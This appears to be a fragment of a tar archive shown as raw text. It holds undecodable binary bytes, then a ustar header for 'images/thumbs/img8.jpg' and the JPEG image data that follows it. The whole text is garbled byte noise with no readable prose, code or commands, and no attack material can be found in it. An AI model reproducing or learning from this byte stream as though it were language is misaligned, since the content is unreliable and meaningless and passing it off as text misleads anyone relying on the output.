xF��^)[R���L�%az�!�H�J�vJɖ�+[Ȇ2G��ثb���*�-ak���KY������7��B�{�ڍ;O:�����Y�Eb͔٩�	��>cJ��f�[uS+i�vݍ7���T�u6q~Qҟ3�U�kq������F�l"Փ�6p<�F����S��T��Ew����bq�6༕�&Y�ϩ�H�		�N}��$�p��ccf{�6F�F�4�#�-qP�JHU#�C��2�r�|�O���٥u�~�]*�3��ݪ��j�Fq��²�?o;�Yi��W=��l�Oχ���l.���T�F_��ۗ�|S�<7(��f���|e�B���=M��ߚP�2zQ�ZӃ��(I�yY񓗒ة4������}"C��(�U�P�2Ll��F�4�T�(�"BF<IW��S.��~�����wi�}iW%%I�
�F�v��3�ݻ/��q�j�M��b�ݣZ�x}���c^���O������\w%��F�+�iާ�Я)U�G\QiJ>���]"˟r����L�rd��`�"E���;C�)}0F�(!DHH���#04J9-�%�O���vhΝ�^B�!v���F�z�eN/��a2��&�[ڗp[��M��k��j�۷q�1�����m�浖�\!*m�q��a�>B�[E5xU���'���De�IbQR-��I�X���L�2yG��&L��O!LVc��9�FX�
'�����0`��
�K��}X%>������Y�sڻ�U�f�j��-;n��l��椧�7k˂���aOg�㣳O��%l���c�*k�ז����
إ�2�T�8K*��L��.�I
h��)D�,�8���2yG��y3Ւl����!��.��!!#0`��D�d2_VK��(��q|w�w�rZ���ז滫��z���5%mU_V��Z�����櫞�Ɔ�v�ݭ�`��G�=]�^�Ӗ|ܼJ]rI4�8`�Di��)eX�"K*�e44`��\�2dɓ&2x�&<O.��!		{-
E��}E��?b2�^e���(�jqV-]�	�i�$ɳ����mOGrĮ�qq��W/��mq[�U[��A�Z�LS�&���AbQh��ߒ���5���ӃuɖdR2.�0`���.��h�$�`lVX�����3�I�bԿ�7�l�lYە�Y��ѹN��⬧���jN�)E��d��4e586Ia��#����OՃ�D�!KӃ0c�0/q�H�&����?����6��Y��m�{��{g����mk�������N��SœT��x�Ԇ�K(R�$�����I&��ogCCC2.�0`�D$%��F�{l.�W�����_�Bo^��qح�g-G�_�r.Q���vD'�]�Բ�ӃBo/��d��$��Iy)��g%�oCF!	�LO�HHK�=�I���Ք��	*�Z�#j�%g����V�i�nJ��=����b!l���X�6d�Q��
��ܒ�[�.���L{0`h����uO�BB^�z3�d������g�
�nUlW#e|��m���ܶ/P�r����K]..x������f4.�J%��y$��ǣp5��O��g�0��%�7�zY3a��}��%�i���O�ݎ��>UwN=�u`��"ԠY�К����x�q����H�SV@h�D�{X"�Тx��8"B0`��:��ǥ�>�2�s��!{��co��)�S�Q��Y(���p�N��8&N�85�e	�Ofc�F��%��d�[D�t��ǧ
	w� �`qh���%�1��tǢE��ڙc�萗�U���'��z���%�w�Mk;y�	��D��*���
�1�QD���(���Pi��Q�X0`�L0'�3!a!>���`����e��f[��%�5�oֲ��y+�ob�57���X�R�&'����	G��c�L���2d����*p'�p%VV%3O�:`��04`]�Ȍ��R3�^�̈^�6Y,-�K��!/�G#}&��u�N,Rg�G��r8�=��c&;N)�@��2�8��X��)'�0`��4~��2##˷�#������H��-�r7�$/��o�YlR�$���/ؐ��CH�(�h��
X3��5�q'8�G��hM4c�048��23��ۮO!�ȖD��L�,�ͥ���>
9���{0�ٜ�I�{x��Hu���yay�D�d�G�qr8�ㆧ�u��t���fO.�O!��݊"F=L�',�̷�B�P���F��h�Zb1����K+hm"S���)!�IE�K's9��J1(8؛^���G!���(��1�r.�f�R��xq|&�!ghO"}0a
��J)��L�VD�$�	"-�OD��8�8`���G�VJ2����c���H�1�&[<-�Kf����C�i�i��;>�#D��U�D��r�D��၍��;����jP%��`��HČD��z�&NFŘ[e�!|�|��)ل�-!h�g&p?ԖGD�I��N2Mű�a�1�H��FO�(�u�Fs������HHHK�l��g��i9e��T�[C���2��d��Y�7��1�K$�&�W��Ǯ�P����8�+����1�Ĕ!��&��"(HK�d�d�l[��2�b_��F�ԽnJ�
�#`�I	�}���%����	,��C���ݮ�0`qIV��:�[��!!/a���u�[���_��~�M]�Y�����y��c�jF�@�d�F�Pc��у
�I@��@��4$%�NE��ٴ�yb�L':���Ewd���r>��5�J-<�8VJ80c$���pG4`hi
#��V����^�d�NE��l[�����Jv����@��֙c#�hW��`��<��d�,�G>�<rJ�8�#F�QO�{�'"��l�JYk��m����U�FQu�88lFIX)D��p��<��$8��q�Ɔ����l��˶͸V��!����z������en������3�K$�J��x�#��8�,qG�d�6_f;M��k�ʥG)��W{��쑞O#�Q(�/�YG���1�r�۸����rg�;��ڪ�%[��ҖE<5<��(��L`�$44x�#D�x���
��U�9K�H�uĮ��ߑO$dFG�q{��F�8�#���cK?[c��it��c���'��tcFK���?��'K&�k�����?��hDd�V�ӆ�t?q��\4/�h��Â�r?��?�R������b-ԧ�!g&IB/� Qk���ৠ��8XQ�P@���h%I��L��E�@�'P��A���Z��2��Sp�ņ:��\�B���ݤK�9� ��%�
k&�.�ժd)�hTͻ�a��x���)��f~��h1؍\�����ӈZ ��y��7y��H�s�{fްB�TD۬+|$�N1���;��2��흧9b>ҹ�CIk�*TV�Y�(!�Sl��߼=�a�6�H=^��;S�6/iF-Pu&���/eT��n�l[��6�O��Sqf-ֱ�p�)臁���o�"nK(7I��9�w�;��/?��uZ���9�r?+k��v-�w�
�2q�)��F�G.\�.���BJ*-p:&�V�1�[�oA^ʯ��4<lP�L���R���"��ԇ��
� v��;Ŏ-;�q7�BBSg_v�c"/+�x��&�n��Y����Oy�!��4�.�n�Ƭ��\������Z�8��Q�p�k
��"��J���N�A[��u�(�yn�Q!��Q{�׆���Q��l7���*f��2���<��r�^3�bvb��6�7�-�?�r�0{�yu��t�ڍk2�bx����iQ*G	Px򨂦�g�I����i�r�����S��R1�I��E�ك��g�M��jc����a2��i
���2L�2v6Z�e!hq�t��y�k)�z��35�'��Zh�j�r�����o��h>����"e�S�Z��-3Pt��8�aз]�R�ؠZT@�St:�6�.��E�s�g�X�O7*����h���Z�dB5���Eݎx%�����)�&Be>�e��v���R����j��sB4i;ϰ���ժ��k�߲X�Tv�k�bL4]NGR��R3�ɱID��S��H�"�(?/��K�;�x�}T!Y��Z5��L�Q�#���S+XA��:GU��L��eCj(��?Ѧ�\�Q��
���d��[��_��̳ZN�w�Eǩ�PC��;���t�����F(1
jfQR��8���M���A���iu7�a��O�E��i�!��ڻ�nUo�iZQ:�!�6���Qȱ�i����x�XP�\˴�c��o���/.t|����iB�k��S��S`�F�G&�m���blGB�*V(�aط�N���by�~��]���{��Ky��}�[\f�C�`�uj�����\����c����B-�2�[G�i��&��u�i���4��2���C�gd���ۭ2�6� 5N��I����1���.�Zgx�)i�ӂ��y�)L�M�:�I^�Z�Q���Gx�YY�b�}Z����sLZ�i��f~��O��q5S~e�������56���<h�����u�p)�aY�7Ҫ�I�m�GLF�l"�j������C�A����&T�u٢֤�֦8D����7�����ɼ�p���f2��Lj�`���%���8�*�lsOS�jgy���66>��פ=�C�ύ�H��
U�
��Uo��l7E�F�;4D,L8]�,5��j=�0�]
:F�x�=^�vs&���c��6����v{ϊ�V���5��"�b�1�#j������'�ʃ
�i��Sj)��� �:u*�1��i��*�N�ϳy��j1ʯ��5����:�S�T�X�c��`�a
�<��ø�
s
��F��B�54q�kؚ��-i�)��������}wn�P�}�o�TQh�E���i��Yj��{Ǘ��i���fN:��I��Eߵ���1B��Bv�*̛�+*���=�vF�S��sTa�a��~�s ��s�p�L&�6D(�Cm æ	��"��4�tD̞�I]�Y��stMA7��B��0�F��=�fC愶��ᄂ}�V�b�2*V�u_�ûJ��a��w^lk��v;��z���jb보���*�d��.@=
v]��zp�nX8�	��O�2��#�D�`Ptb�X���:�R8H��^��i�3<��"�
�J��lj��2k�7
l��m���1O�鵨�'�����iتPx�x��)��N����e����L��L\)�=p:�w�o�n7�=�]��7:�B��0��ikx�;����n�j6�8u���3f��\��P�kPN���
�r�>Ѷ"�Z�)��B�ȷ�2=:���h~r��V���t{$�9C��O���U��L�xp�D�PS�lD6�gM�����6+7������S�ٓ
��ö�N��0{��$';��䥙�74u��cS~e�<9�6}��
��@�B�������ڴ�lBQE����u�#�YY����#D�mA��D�QРN�X������&P�[N���c�f�x��_�C�ٷ�2���O�z6�j1�t��e�*�n�Y��0p|�-2{c�z��߽N�U�t*�uǬ�)8�A���7���ш�Fc5��s�anf�#�}O�U��A��"n����	U�s�C���T	�0
F* GaSi�1�L۩75�tE���ڔ�E�R�3��~�1�6��7��R��>�a�H�Q�S2�2�p����U]���s�);�޷h|'}�4[��1��	�F����~��o�2B&��l����|Jh���x�"֞���}�2w�����x"'6�CbI��S���A
uwA�v�mDܜ6h���A�R�g�Ibgз�4جVxH���o�V����
�7����&��ްL�6�z6���W L�XZ!^���{��O�$�)<��p��=��?	;#���8uF�F�]�3��4Z��[��^�" �8�E��:��)��]��I��N�fgc����u#��w����^�vW40W�`�q�Q���1QF(f7�oBqM1�;�b��MR�
�(]̶r�V+<p;��*S#
�VbԱ0ť`v�6GZ��B��
f+	�ؾ���S��%����j?���
�5,'k�o���u���Q��oX��U3�/A�1:�A�� ��L�.����.~��=�UL��N&�u������@C5Bm�]�j.�`u9�F!:��L[Ѓ�XI��
RQ�>D�Y�����"|�=�����D����tZZ�[�����v��Nj��?ݾ_��v6��i�3=�!�0�!Q�Añ�]Ow�����-�M���V%�:�*��\� �N��M��|*F�F ���Yڻ�r�X�`]�]	�A@�]��Wz�"��V�2QP�����C*�_�1��(��R�-JM��%��Z4��d���ޕ��Ż������9�M��Ҽ���ƣ�E=�5Db?��m_��b⩱�v��9����p�]�C�/&�4�[�,%K�����x���J�R�TY:n�Ji,kf^�*�=�k\��4�z�Ui�s�'����V�*����S#^
eB]F7;�M״�PZǎ'es;��'�GYE�P�6My��{HSy�X�"�
Q�Ml���%=.���H"���ߧ�X��Й�{�j�0�D;����T�Xu�jI�k4>�A��6UL�8�Cٰ�F1�w��6&|”�`ڰ��G��m
"�a��.Fs�;/Q*#��y�8���Ib�Ů�ܾd�5�ba�"Ja����w�}&�����S���;�X�bP�*�A�=+�y������ɂ��#o">~|n[2b� ��b���=�%at�$F��O�����b
&pX��A��a���IYʞ��'��|,�C'�1i�\P����U��.��
h�!*U
��X �9"��X���������F�1[y����DH�
Lٝ�qS�i��=۬+��D����b����m���!�V]ͧ��aC+�1Mq[�7M�#I�MX��Т8	��2�IT��+Kuz�0�ADh�ɇ"�J> )W8�D�swB�5(������Dv!O�!��$?§=eX�QRV醝�$��j:go6|Gn�ˊm@d�F�,Z��M��٢'��l�1�l>&��̝�ޔ[�*���-8��-�j�L�)��?	�'5mZfa�A�0x;(�Nh ����B�\����գ����y���yA��z�HQ��E��`��:��X}G�:����ڧɕ���h���o3���3Q�z�L���R�R��r6x}�XR�s!5�J��i��>�Yz��ɣ�x��9�j#�O��U��97^8�xSR�-��D��O�E�*����A�0�-�&�rd���g.GȠd|t��sL��)V0�q���5!�|��8�|h�B��U��9[�����C�E�*��̂�Y��^ ��4��
\�r'ʏ&s
G��Ǚb�+�lA�8�٦�9vxr����A���h8�.(�v����	�-�5(<����Zc�h���A�
 �s͘�`B
��?�|���|�1��F��<�D��&�V�c�8�� +�]��Rxp�~�9[��q1ŧXA�����j�I��J����SqiA��j厙��ʗ����1a����*�j�<�j�Vm�z���F�~0���b����images/thumbs/img8.jpg000066600000070052151150443020010664 0ustar00���JFIF��C
	
		
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=��C
=)#)==================================================�������������*�� 4��.�:I �-sb��P��$�0%�-@XH$�PH������Ph i�:�'%s�:�d��
3]J�$��$�&�`I �XI H, ��T
A�5U������*�=	jq�2��w[&�3V%�$�,	�A �$$�I� ��
�@�jt�'%�դ�9���	mI";MI5(h���ѝ��EI,ؐMI $%�$�K��ڠT@��]��L�u3�jc^�o�^��z�V��K�\j��\T���.�+RI%�H�X	���JH$�/�P
�ff�
VM+�MvMp%γ�ξ��^��#��7���X�l���
;��c�;�MK^��K2$�hX�KA �XA ��ǰ���J��t�gd�.ǜc7�f���6u����?9��}χϯԘ�>�~��B�+`X�X�I��I�@$IA �<~=�@�"����-="����/�tnjx����W��y8z:��w�Ɨ���C~o�����|�'�=��d��Ⱥ�,X͉�*��A ��I O�@�B��`P�7���:~�|���z��'�|�NS�Y�9�&��z|�q��]y�>��~{�l����Gl�6]�MI%�gZ�jRĬḖ$�� H,	�����*�*��y�A�|��'>���n>u�R���ˊ�t�q��s²OC�o��}?���w���³�o���9��:sU�y��GLc�K	�A �XJ+�`*�S�<��V��s�.��	1��fk|��U�}:�>�Mdϧ��b�&��x�HX$����n^?m��;��I$%�$��� �H$�A���@�p�q�dl��g_�>����.��p����N;Κ���CI�]glo�3��}c�~��?�<�x�z��C�Ƨsν^�6�d�$�Y����X�@��Ǩc�9LV���/�ב��9�zZ��s��u���\�~�ֶ�M%蝲��g�=�����y�/��Dg����\
nvk2X$�I%�$�V�@$_�*HY�s�X ����:z�ב��5��}�7j�t���:�='7�3�Mz<�{���ᾦŎs�0��^}<~��y��X��,	$�$��$��XX �8� �AO(�W2�v��d��^{3o��sFZ�}?J�Ms�^�}:�����1�S)Ӧ��r�7gcMK�K�T�W.���M�~>39Ո���fK	���$��� Ha�-P��-fg���{x�>��C\�[�/����O�c�
c���8���g�S�՞�e�=;1>'��s�B����ݩ&��&fI���X�@,3�X 
M
��X!@
$���\��OE|�ߟn�o���ˋ=~��}�W������54���:u���筭�˝�7>T�\�.A����I32	�V��� T(LRR,x+�	%E�E[:�u.	�U���w�/O��[/����gY	�zga��5�66��#�<��ΪD���-I5bfd	� ����A�A �H ��B@����$�^����!������;��f�t�;O@�+�P�M�sj�㯛�p�^��n>�h5�V���H,	�M3�QH�*T�$�ĒIR�dž��J�R��$�Y�M�K=$�+g�[7
gu�k=gN����kZ&��c�|���ﻗo�<��|�Ė�e�$��2	����T�g� �*
BAPX�ĖP,I���BTL����I%�D��t�\�'aS�^�+��=uH���jvY��s+<����ON'�2\�Zj\�j�XȘ o.�A*�! IrĨ�@A�M`Jȉ!9�3Mo�,�Ė���'P�L����N�|���ɛ.��\�3��7�;.	�(�3�ԚJԒKT�H$�! ����� �R
��X�ȷ�L�w��F��,�g6q+srĚ,5,[:���D��-w3���CZ�iӞzͣSi<.^�xz�pߛ�~{Y�s�(�s[\�ݨ+s$�X�hH�Xy�wj
�*T�@ �K%F�����G�t�m��[�a�E�_7�>��G;��t�����ΰ��؝&�I%̍�-��2�isMO.^�׹�9zw�{��/��y�5�7:�M�ūCV�esbI$��$@��#H)�HJAIrVI0��U�5����agwVח�ӟT�ڗEz;�l��ח�Tv����Y'D]r�0��M2<izY����[u����,�;���r$�r��\�5bI�@,��#H)�J$TI$��9����k�=mc�5��2�J-�ҭ,jRJk�Wo.�yes�u���^:Z��4�u㸂�fs�畖�qe���Mח��g��%�y��P���p��jI� H���R
A@bt�x���/������zr�<��{�y�X�ˬhZ�b�}g�S\��<�D�;���γ��9�3�:�S�6��GV}�mzOϻq����\3�3XMa�ɬ�k2IbA ��؂
�J�AP-��c\��lޭ���x�ٛ��4�:��8�Ȍ��z���|�}�-��;����α�	�d�:�u����n���7����
p�������4���:����'Y���2H$�XP9��! �*R�U��%1ӫ���3�\�sӇY�$�flE��s�{po83ԝ�ƇL������]>���?�7��n��8�>����]Y��cx��qgi������o�X�]�N��=`I`H$lBAR �*Uδ�b����o�1]r��NdZ,t��V�ܵ��{97˧|}#ʛ��Bu$�hm�T�<#���~of������ٱ�]�D�5�&��~Ƴ�ϩ�/�I�@�*x�A*R�kY(l�6u�y	��a��:�MfX���v�Nic�g;k<�v�M$�#7��6y̗��o�I�ֺ��r�ߎ����u�rjܳ6^K�� \j��A@CW�W�kf�לr�f�ܹ�Ԗd�Y�#tߞ��3�tI,\��QCB	&�
%���[;�����_�7�?x�θ�58ΣU�A �W�
�7R�BZk�8����:urΑmf��L��U�Y�j �Z� ���e�[S��t�ms��bj�3}9i,U7���N��(�ds�H�	 1� 	]UKY��>�k��Dٶm�cY����rM�e�QI)"�%�K�)n���7s��}n�~yׂ�F��Y�-�vwkSu�2��H#H@��gT��ZKg��_�t��x���Ms�5����յΒ�5`J	��%�f��޿����μnw��J��W�M�ҫ��˕t�u��r�	ƀ
����%���{�˓�w^>j�5���1�Lކ���	�ȰIB\�D5�D��cL��z��ɜt�L�\+b�ɗ��B��	@�*�յ�~]�qߓ����_K������Ȉѫ���=�"�+&D١}J��jA�&X��/{����O�/��r�fW�¤�M�@*1��� P�ul���ͦ:k\��X��cr.t�yqҹj�G���L�4��5,W6�jjD�Ψ��O�����ӗ��cf��@X��HPTf٩)Ͽ>n�Sx�7L8�m�U��6u\�U��S�N5�C|��:t����0�@$б�Zkc|t�ع���ε�34�\�@�� ��f��x>�����^1�^��3�]gmb����c&W2#�ѿ)�G���z���T�&�y�:n�N7����9~uӔ��  @W4CYs��㤺u�wO/��:�:��=:N{�1�H6�M��v|�����@�Im/Ǭߍs�?e������|?^Qd�Fo5�`	J�\� �u�}7�m�ξmm�o�ͫr�:d�t෿�Vo��坟'Ӊp4F�R��^�.�]1�����e՛��`	$
M�	f[̶z�s���:ͦ�*���!�Jk����9��
z���;�Q��A:H�ݝ~���q��7�cӪ�6� H@M�2���Z�q�:�c���~ON%z�������t�̈́��\��׃����	 ���Rƹ�I�y,ծ�Ԛ��8�$	��+:\KZM�z�/�s�=�5����ˢ�4����=z.9�ϕ��}���l5"Am�$�hP*e/a�\lE	,A XA�4�	&h��j鎙c}�Ǘ�]b�J��zvN���V:����y�����<G��½|�
חĂ�A`XIr
�-eM$�@H��$@$�Q%Ҙ�3ӡ2��zcMr�:���G�z��8ܵ�Y�Q�:��1�f͙͝��z5-e�I%�%H(V砐H���H�X@	.�BJe���g��O7���m�_C=<ռ�w	�5K��^fy�l���j��I,
�3$蹰��H$,��b�I�}�oG_7������}n}0�<��+|�t�7�k
K�SY��@ �4&�I�A �$A �H���t�t�O�K��������hǡe%�-f��E���+�S�r����2H ̆t7�,�  �$@�͚	�ov�����n��Y�Vp��z�{��o�<;���i:�ugp9���kf��@$H$@�y�@		�5�n:���8�L-�Y��_����w��L��ۛ�ӝ
3v/7�gq�skX �`H�	l�$��f�i�b�f���=#:ٟ_S�Y�g36vj�|�T��Nm�;,�$@$	`ys@H�D��Z��Y�ԛ��0\���9�\�g��H��`	�	��H�˚H�H��Y-�(��K��D�A � A`$$��&�؋`$�
A`��H�	�	�<ɠ �.@ XH�	��H�c��J!1A"Q2aq #3BPR����0br����4`��@CSc���$%D�p��?�3A�р����hjL�O'��Ww0��i����09�wF�UxD�iZ��Q�TsW�1��Df
yM���FC�ŏ�:��pE��S���B{$c��s��ᒖVHo$.<��гG˧'��[����0O�б�[f�R�m�x�0�[����?d-�ݡ�vP�����B�^�$eyc�E����w�Qc��i�QRh1'D!s�xZ9��+���5��6W�Ez1Ԍכ�U}�u,'��FV������h��7�ke(>K��t��W�0�F�Ӗ�OpE��o;�$��_U$�L��:��qBI��9f��8�?�69�+4����?�j���3��p���挎vt=��]9��|�ySY���#�=�7�؛ w^+ݭ4w�lx�2^�'�-4"��O��6�S>��c�ںg��R|�`�� �[���v_#����Nk����u�O��
�'J۷n]�����{�v9f�H�o�-�pv�p�Wu�ܖ.qs�.9��-��W��{ºKk��/��خ�?��@����׍
hD���b��u�5T)JSA�P�1�iT-$�lr5����W״�v�K����ơ��Ҥ��ݺ�F�>�6�6Kߕ���o��y�K����B�>mdѽݽ�ѿ7׽C=)�,���ڱx�t3�1�{�3��]0V�=��0��ߎ��u���Ȃ��@$bC������t��^KgWiZ���\Tо	�S6�na��"�e�0�-�V.Ɣ	�{�-�b
��{Ǯ��[�&���<��}�jS$�4��}�CUӪ`������A>`b���o�;j�=�
���,�r�1��:�~ߺ���@�V���l�
m�����-6[vɾ��8)e!��̩-S]�ܗ����)�2���a��j0˦G��3�A�a\�q�ɦ�
SŲv��d��߶�T�ٷY�����Z��ǚ-�F�W��j�K{G"���Ym����1̫Ů󂼊�mdn���&JƷ�nӇ�2B�+�'[���s��VG�hO�h@i������G�ю�{����B�9�W�s楾b7]�Be�ѹ���U���u��/H��
�&�h,�Ƹ^L��WK��[wiA�`��7�B�V��E⥑�:����ֹ���so�/���}��e���VQ��֯$�$��E�Ƣ�Z!�������B�vT��gт����$�Fڕ+��wr2Q������м�q�׵	!k��ݙ"%t[�o.���#�
\O�#A�X`�;+�2p_Nu�/�e�pchh7�.el�NճL�H#�І�}��H���9�
�X��k�y�
G�K��b�YZ
ev
�x�Є渕�7�\j�`FU[*�6ה@�n�k	k�2P9�q����!�<��˜7,n���A�p��(^G[:�v�;p�׭����n'��X��+2��r���� ��&��sX�ؐ�R�.��r��J��j��)V-�5���nS��V'���8�x�[X3b[$lX�YB(Zbxԧ���7���{j�h�4P���Ĺ>b�W����&~���������ꉪ"����ɖ ���b�62*5��l���+�o�#uC;����j�^M����'VC%t���s�8��Vֲ}�iK���)�<�vM�^O)Ƅzk�z�Da��k�v�91��N�r��dX�p܏�tR�������U��&�hqq��T1�]:��[�1��4b��F
F6���t]SS�*����A�m�ȫ��d(��MHˍ��o�v�F*7�1\�S��l���U������da���+'�rK�,X<uBڶӴ-Bbˆ�"�'�,�Y�{&�!���"��$�����4R��-3�_&18B�ӗI!��Io��5���Ck��ݾ����Tо	Lr
=���K������Zw �[_e>&^ָ�t���[����řB�ww-.���z�����5A(ftT��\�n<��]���C��P
����b�]˹0�xw"�ۯsytF	ĺ�5(��04�qE���)�!4ЦM%��i�Ul��6d�4�g�FAt���#�L4RY7��!����J�|KK��P���4�o�/璲?dl���\�q+�]��H�	 �OW�&�8�z���y��
���n[0
��&��[����趥�$�c7���зDH��1��?��Q�E
O�I�O�0n�7�?����S<��|�\�/W܋��:%ćs�A�����S�_��
a7�ʏwCu8�߆	�I��r�p+x^���B4�.
i�
[\0@�:��T+��gElgOmO�WAN�::*x���]��?'��P��G�u�FGo��}�ӚqD���ڌ��P�wo�Ї�]
��L1MeR�
��Ҧ��!�]'�b�ط��/8vrR�}@ֺK�uX/�=�{�j�RJ��f�F�� +c��&p��-Ȑ�YK���N����+���N'�����}��#/�!��!Fy���}ɂ����|/uCOyU�1�2��F�/���b���_��\S<$�W�;��TmS�E�¡
���A���^��K�N�7G9(�b�ŗ������88h���9'K��x{‰����.�D�T�
�!�� o��W���}���_��
��%\k<����H_�0o������Ӣ��;T��v�`Z����a�h�d��`�;p>��E��K92����&:�9�c�u�":SU�zs@�:�2�`]
��sVm�,V؄�1�(⥖��d3�&�ֽ�'%�6Y�lfŴb�0�Hh��kC�~l4�m��{���.�zv����&�?��i�٣���`:b��Y���$G����X��:�}�^9+νFaܶ.NjjX�-5���6	vm��K�G��?��S�r�͊;��[��F�������f�&Ej�G�:����g��B����q|P��/y�(ccd�{G$P7\h����].e�]F��٩��U��_`�2z5š
&|�2O��[]n��w��~�����ڏ�y�8��I�̫x���uY�vҫ�Qa`��s�?��p墈��5�mڌ�KbEd�ӥ����v��eY��K�Ǫ�&�;U�+TN��9����O!%�8�����}�IV_�{F%��b{J�Y�����Ҽ"�f�b`�q
! ��X���3��,�c������b���4
:�.�\Gw%�waFr�n�D1
X�4�D�Lc����H�0:�=
CL�^�}V��-��e��]���:�duI%ǟI�f��)?��T �����O�M!{�_'
�ֽ��߲�h���k�j��c����Ef�]�"�0�UA�t��_,��жչ��Zx(Mַ�2Q�
��\v<��I{�ݺ�2�C{꘽�c	�7�W�|�~�[��^8�:-v{�3�0�$Z�.�ˣ�_T�:-,���;��5�rŦ�f>
��?����
�-����?�n�q��3O��u�,�B����d���;�
.�����4�줄�8�%Zۺc�Q�>i����S˾`�t���x�PLA�����s]s(k�,f\g��2Q9�mY��܂!�,i�H(A��b3�Cyz��Dॏy
5}��e��k��|�͏t.���S������I�h�t!p��u��a�1�W�[	mEY��\�
�[��:'4^;��t3���((�vUM��(���_Ӣ(�n6��C��#T��=�18�
�Ғ���5���f|�7*බ�;2�pc�a��#������8��Lw$���s��_8�q���U1S>�5�l�Uc2�w3�q/u\jU��觀[T�:3V
��m�͹|"u�)�͸�c[�����2�
��9�!�A�Z�w�V��y�^0�C������[�S����y�������n�:÷��}M�镂H�?rM~�8�r�M��[���A]-�ਮ������-��9���
\�(��n��B���\-��P��0�pT�H�L�v1��Қ��K�D�uV�� kGʈF����n^�&H%��h-724o�a;C�O��>�u��#)���z��c���)��p���M&��rA��`yp�Ӈ����"��uz�~-U�1�(ʷ,��*e�y�/��o��n�S�<����(E�6�y>�l/�"q�VH���E�6�f�fR�8�
 �MQ¡F|����G�-�\����\��k�h��C5h�����d0�mw�r��P{���:���EFH��)�9t4 b�
�qӯC��̧4����EE�;�P0�M�a��V�vC�J��\[�oEPAm'�=�֍̨6f�i2��&�l��ųn���Fkj26m	�U?���G���A7?r'E*�4{�T��ޤ�(�cd!콍M���oc�ˢ�*��H�f2E���u���lv�i`�����'��Bâ,#��d�fQF�B�4A�䣊�݃Y�R<I+�ktdBh@*"<�}��Py�y��f��9�*�:=�!�u��c�_�|��*���>�j������1�%*
��I���y0�k�r����Fur���\�kx֥I��z�)2P��� e?�����ov
C���7짩�m��n��Yۋ�i�'��6�s�G$
�\�TꮗV��=ɧN�=2y姀��'�m!�V���O}����s{U]kH�ឫ��s���i�*�\I�515����?^���]�����,7�}�F<��f�!"��o!�UT�žT�o�������䬯~ӕ��֐GQڡ`����|�Y⢱��o
�|�S�
ы�$�'��i�b}���ɟ���@d8�4��r+6�&�炄�sk����/����s�R��H�0
��X�t�7���-�X�%к�5�������㷯�V}�;�.�qq��k�9��|ª�j'��#�t^4�@A�e�U��Q1�@�n*�$N������=�և:;�ǵ��:����z@�!�@�O�8�:��=�S�)�{�m3HZ(��%l��d�������Jڂ��lv�Dr�\�k�̩���"�����h����^�������W�;
�I����.����2�L��T�'f�[Hl�v9V�n�����Vp.:��B�˿m�&
�ڟm�vo�#���S��j�n�hw(���^5�ID�����Z��5�r�g�&�‡A�q���b���\�>~?�:�FVҵBP�En�S�-�+y�P�U��OqV(���zH���!�Nƪ�
���(�Yh�9�TT�m�Zm�cq���M�K-�2E;�`?�R��#���ڇ�W��>�D�7�Ꮯ>�)��]MI�?h���G����r0�,�ωL�*p�26��u�T0y�q�	B����?�:b��H�\P����з3�h���Q�ݥ�D�: �1�~AZ^����U�0���E�ދ��k�
�@�^�w.��O����RJd���U�uӐ�>��D�Y������qoj�=��08��n�X�á��
�q�쩜��~��-s@�q\��D��j���\n��*II�L�s��f��Set��B��A{+-��t�_�Y�6�io�q��m���c6�+n\͝�6���Wz��ב��_���V�Т�=�c���dVZH��c��8�L[�V���㓑Q�t����Tb0Y�SޚN]�1�e���װ)��<�2&Ҫ���^i���9:�����'�����UT'�G�´;�o�����
��������
����I��$h�'�0�3��!�7�jebxxƉ�T�F�7B���1գ�d͏����#%�㹅B�P�>B�}S-&69��?T&s#�q&GT����g^�rxU��;\����S��0��!��X���;�K\����U�c��8v�Q%�s�q7T��L��|�r��~B}��r:t6��/k���u�џILm��(��N����:iA���&N�dp9��*���;��=S��/2�^.���ĸv�ծQ��ܲ4�fq>S�Z���i�<�M`~����&���8Aq�\�:���7�̆���e�'�Q���O&GUƤ�T��?1�0H)�#��:x$�4NJJ}���!��׀�I�;S���t�;����l�:��������%��ô*4�Q�]�
X�b��`�/�=12��%�ëFJY7��@-�h�}� ����+�;S�@@{�k����k�9��2���m�sQ�buc�Ǥ2���ԭ�-�v��3Yc�y�{$Ǜ�w�x.-����^l�TV�3/�:��H/	�{~��9�+��.Z����bI?���`d-8�^G>^�h���^;90����������*r`����T��#@������_d��n�u_����H䉼�KEM7ў�I=���x�UUUUUU�@%��@�UY\o�D��I̮H<����w���B�l���}T�!|e��>�4�

-�H�ØV�}��ci(��n+1"vSS(�C��U������
��[��E:$�q�p�r���p�Q�G�~�����>�z]ǡ���"t"P4c�����0js��_��z�7�n�ZW�4F��;O�Xv��2Y�.M^��.4��c�B�o�1�����l�uH5<�G:��5#��S���׶G��~�Ȓ�]RNj�ܰ?�>��s#K�+��$��M�71ƀ(^%�TZ����������#�@�~�<��]�)�:�FnǐM��vQ�1�UC�Kk/�R8֥4W���~�N�iވ-48
n��N���m��7�6w���� ���[)cZ���=�Rm
���
�t��d���v=sv�4&���9X+�����iF��K�����?��5��	ǵ#��?���	)���)<�C� �w/K��+�AW���E̚i�u�_�M��ﵽ��­�pɟhsWqR��e�b��7��E�]:Nv�xvZ!G
�V��L��J��B����6�Q��)�&��e|W!��h�QL�&q�_g#�r5�oï�,{jM��HOV�Z4@!���5��{̎��~���tK�&�y��T�y����>�ϩ����>�+/�v�5�,,�ύ�<������а�{*��Z�����jХ�9�_�	�-�8��z\��a�q��O%�]ȅM�]o�����±�F���n݁�NDj�zZhS�s_h�|�I��[��ow5�N���-�H+y��iZQ`�S�	�Ԡ��i�G>�,#q�ō&����WPSWˬc�=M�E�7P"Fp�jN%1��&�%�wG�sSX��L]�4�q�t�ӽ6:��uM�!�D]�]v\�"=�����?.Hhݢs0��YϦ��C�%N�P��.h��5�,��d�́�;�ПeJ�,oo��x���J��R	�8B�̓�x����}MJ������m׷0zx*�p8�C���g����wH���&��7W`�%���ȝ���w�<Ph�ǻ$�Vc�����ż�m�F-�(�qU1�qY�̵�-���Q�uq�KF���8�%���PY[�P�Z�|)��첎��{����Zv`<@�3�y��FZz��M�r�oIq�"7�<�M~7s�kC�FKw�^k,K�SAq�Į~'|�$�����u��yO(%����X���ۥ(�C��vڜ��l��HCDP�*N[�&�>�os�C����E��.I���,�d�x8h��,�C�"�ڜ5E�����#�
�{S^�<�8c;�\p�̭���-V)���/�%%rN\�����0�{XT��皰Ea߱��o{���}�+#��i�Z1���`���<�uq�؈s[y�l�}���Q�
